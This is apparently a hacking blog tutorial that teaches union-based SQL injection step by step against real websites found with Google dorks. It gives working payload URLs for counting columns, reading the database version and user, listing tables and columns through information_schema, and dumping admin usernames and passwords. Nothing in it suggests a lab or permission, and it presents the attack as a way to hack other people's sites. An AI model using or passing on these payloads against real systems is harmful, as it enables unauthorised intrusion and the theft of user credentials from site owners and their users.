How to hack Website using SQL Injection with easy Steps. Created by hamzaisgay.

After a long time it's my first tutorial on website hacking using
SQL Injection attack with easy and simple steps. I have seen many guys they can't understand SQL Injection method because it's really very hard to understand and Inject Malicious code into URL and get website Database, So here I created SQL Injection tutorial with easy steps and understandable, Hope you all will like it.

✔ What is SQL Injection ?

SQL Injection is one the most popular Web application hacking method. In SQL Injection an attacker find website vulnerability (Vulnerability means Weakness point of website) and Inject Malicious code into URL and get Database of Website and Hack the website this is called SQL Injection attack Exploiting DB (Database) and also SQL Injection Vulnerability Exploitation.
Using SQL Injection attack method an attacker can get complete DB of website and User ID and Password can be exploded, an attacker can also Shut down My SQL Server and Server will stop working. An attacker can modify content of website and bypass login.

✔ Requirements :-
SQL Injection Dorks. (Click to download) Skip ad's after 5 Sec
Vulnerable Website. (Use Google to find SQL Injection Vulnerable Website)
Firefox with Hack bar add-on. (Click to download Hackbar add-on)
Little bit understanding of SQL Injection and URL
Fresh Mind to Understand it.

✔ Step 1. Find Vulnerable website.
An attacker always use Google, Bing or Yahoo search engine for searching SQL Injection Vulnerable websites using Dorks. (SQL Injection vulnerable URL is called Dorks which can be easily found in SQL Injection Vulnerable Website URL)

Click here to download Huge list of SQL Injection Dorks
Search it on Google for Eg. these are few SQL Injection Vulnerable Dorks. :-

_____
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
_____
Basically I always use Google to search Vulnerable websites.

Here, for tutorial I already have one Vulnerable website (But I can't expose it's name) In this result you will find thousands of websites, the common thing in this search result is all website URL having this type of code at it's end
inurl:index.php?id=

Yeah, Definitely it will have because this all website having DB and SQL Injection String and related to SQL Injection Dorks.

For Eg. www.targetwebsite.com/index.php?id=8

✔ How to Check for Vulnerability.
Open any website URL related to SQL Injection Dorks.
Put Single Quote at the End of the website URL (')
Note :- To Check the Vulnerability put sigle Quote (') at the end of the website URL and Hit Enter.
For Eg. www.targetwebsite.com/index.php?id=2'
If the page remains same or Not found then it's not vulnerable and if the page shows Error like this :-

An error occurred...

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/contentPage.php?id=8''' at line 1

An error occurred...

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

This means the website is vulnerable to SQL Injection.

✔ Step 2. Find the number of Columns.

Wooo hoo hoo !! We found SQL Injection Vulnerable webstie now it's time to find no. of Columns present in the Database.

To do that replace that one single quote (') with "Order By no." Statement until you find the Error message.
Change the no. from 1,2,3,4,5,6,7,8,9,..... Until you get an Error Message like "Unknown Column"

For Example :- Change it's Order By 1,2,3,4 like below :-

www.targetwebsite.com/index.php?id=8 Order by 1
www.targetwebsite.com/index.php?id=8 Order by 2
www.targetwebsite.com/index.php?id=8 Order by 3
www.targetwebsite.com/index.php?id=8 Order by 4
www.targetwebsite.com/index.php?id=8 Order by 5

And Suppose above Method won't work then use below method :-

www.targetwebsite.com/index.php?id=8 order by 1--
www.targetwebsite.com/index.php?id=8 order by 2--
www.targetwebsite.com/index.php?id=8 order by 3--

If you get an Error on Order by 9 that means the DB have 8 number of Columns and If u had found error on Order by 6 then the DB have 5 number of Columns. I mean if you put Order by 12 and Suppose the DB have only 11 no. of Columns then Website will show Error like this :-

An error occurred...

Unknown column '12' in 'order clause'
This trick is actually used to find the number of Columns in DB. Understand the Below example and you wil get to know.
www.targetwebsite.com/index.php?id=8 Order by 1 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 2 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 3 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 4 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 5 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 6 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 7 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 8 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 9 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 10 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 11 (No Error)
www.targetwebsite.com/index.php?id=8 Order by 12 (Error)

Here, my Vulnerable website Showed Error on Order by 12 that means my Vulnerable website have 11 number of columns in it's DB.

So now here I found number of columns in my DB :-

Number of Columns = 11

✔ Step 3. Find the Vulnerable Column.
Basically if the website is vulnerable then it have vulnerability in it's column and now it's time to find out that column.

Well we have successfully discovered number of columns present in Database. let us find Vulnerable Column by using the Query "Union Select columns_sequence".

And also change the ID Value to Negative, I mean Suppose the website have this URL index.php?id=8 Change it to index.php?id=-8. Just put minus sign "-" before ID.

For Eg. If the Number of Column is 11 then the query is as follow :-
www.targetwebsite.com/index.php?id=-8 union select 1,2,3,4,5,6,7,8,9,10,11--And Suppose above Method won't work then use below method:-www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11--

✔ And Once if the Query has been Executed then it will display the number of Column. Yeahh.... !!

In the Above result, I found three vulnerable Columns 2,3 and 4.

let take 2 as our tutorial.
Well... ! We found Vulnerable Columns, Now Next Step.
✔Step 4. Finding version, Database and User.
Now this time to find out website Database version and User
Just replace Vulnerable Column no. with "version()"

For Eg.

www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--

And now Hit Enter : and you will get result.

Now again do the same replace Vulnerable column with different query like :- database(), user()For Eg.
www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
www.targetwebsite.com/index.php?id=-8 union select 1,database(),3,4,5,6,7,8,9,10,11--
www.targetwebsite.com/index.php?id=-8 union select 1,user(),3,4,5,6,7,8,9,10,11--

And Suppose above Method won't work then use below method :-

www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11--

✔ Step 5. Finding the Table name.
Here we found vulnerable Column, DB Version name and User it's time to get Table name.
If the database version is 4 or above then you gave to guess the table names (Blind SQL Injection attack)

Let us find now Table name of the Database, Same here Replace Vulnerable Column number with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"

For Eg.
www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--

Now hit Enter and you can see Complete Table of Database.

(Click on Image to Enlarge it)

Great we found Table name now find the table name that is related to admin or user. as you can see in the above image there is one table name :- userDatabase. Let us choose that table userdatabase and Go on Next step.
✔ Step 6. Finding the Column name.
Now same to find Column names, replace "group_concat(table_name) with "group_concat(column_name)" and Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

---

Note :- Do not hit Enter now.... First of all Convert
table name into Mysql Char String()

Install the Hackbar add-on in Firefox Click here to Download

After Installing you can see the toolbar, and if you can't then Hit F9.Select sql->Mysql->MysqlChar() in the Hackbar.

Enter the Table name you want to convert it into Mysql Char

Now you can see the Char like this :-

Copy and paste the code at the end of the url instead of the "mysqlchar"

For Eg.
www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 68, 97, 116, 97, 98, 97, 115, 101)--

And Now Hit Enter and you will be able to see the Column names like this :-
(Click on Image to Enlarge it)

Great Here we found Username and Password Column .

✔ Step 7. Explore Database & Hack it.
Cool.....! now you know the next step what to do ..... get the ID and Password of Admin user using this Command into URL.Now replace group_concat(column_name) with group_concat(username,0x2a,password). or any other Column name you want to get Data.

For Eg.
http://targetwebsite.com/index.php?id=-8 and 1=2 union select 1,group_concat(username,0x2a,password),3,4,5,6,7,8,9,10,11 from userDatabase--
If the above Command doesn't work then use Column name from first and put all Columns at one time and you will able to get complete database.

Now find Admin page using this Method :- How to hack website using Havij.